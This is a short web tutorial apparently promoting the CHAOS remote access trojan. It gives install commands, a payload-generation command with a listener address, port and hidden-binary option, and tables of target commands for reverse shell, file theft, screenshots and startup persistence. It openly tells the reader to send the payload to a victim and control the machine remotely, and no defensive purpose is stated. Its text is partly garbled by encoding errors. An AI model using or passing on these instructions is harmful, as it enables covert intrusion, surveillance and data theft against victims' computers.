CHAOS RAT TOOL – is one of the bestย remoteย control tools this CHAOS RAT TOOL can control windows, mac, and Linux operating systems. this is the command-line tool but this tool has awesome features.
Features
Feature |
| ||
---|---|---|---|
Reverse Shell | X | X | X |
Download File | X | X | X |
Upload File | X | X | X |
Screenshot | X | X | X |
Persistence | X | ย | ย |
Open URL | X | X | X |
Get OS Info | X | X | X |
Run Hidden | X | ย |
How to install CHAOS Rat Tool
Step 1:
First, we need to download the Chaos rat tool so type the below command on terminal
git clone https://github.com/tiagorlampert/CHAOS.git

Step 2:
Now change the directory roo to CHAOS rat tool so type the below query
cd CHAOS

Step 3:
After that type, The below commands to run the rat tool
go run cmd/chaos/main.go

How to use CHAOS Rat Tool
Step 1:
First, we need to create a payload so follow the below gif image

Step 2:
Send created payload to the victim, once the victim installs the payload means you can control remotly
Usage commands
Command | On HOST does… |
---|---|
generate | Generate a binary (e.g.ย generate address=192.168.0.100 port=8080 filename=chaos –windows –hidden) |
address= | Specify a IP for connection |
port= | Specify a port for connection |
filename= | Specify a filename to output binary |
–windows | Target Windows |
–macOS | Target Mac OS |
–Linux | Target Linux |
–hidden | Run a hidden binary (only for Windows) |
listen | Listen for a new connection (e.g.ย listen port=8080) |
serve | Serve directory files |
exit | Quit this program |
Command | On TARGET does… |
---|---|
download {filePath} | File Download |
upload {filePath} | File Upload |
screenshot | Take a Screenshot |
persistence enable | Install at Startup |
persistence disable | Remove from Startup |
information | Get OS information |
lockscreen | Lock the OS screen |
open-url {url} | Open the URL informed |
exit | Quit app |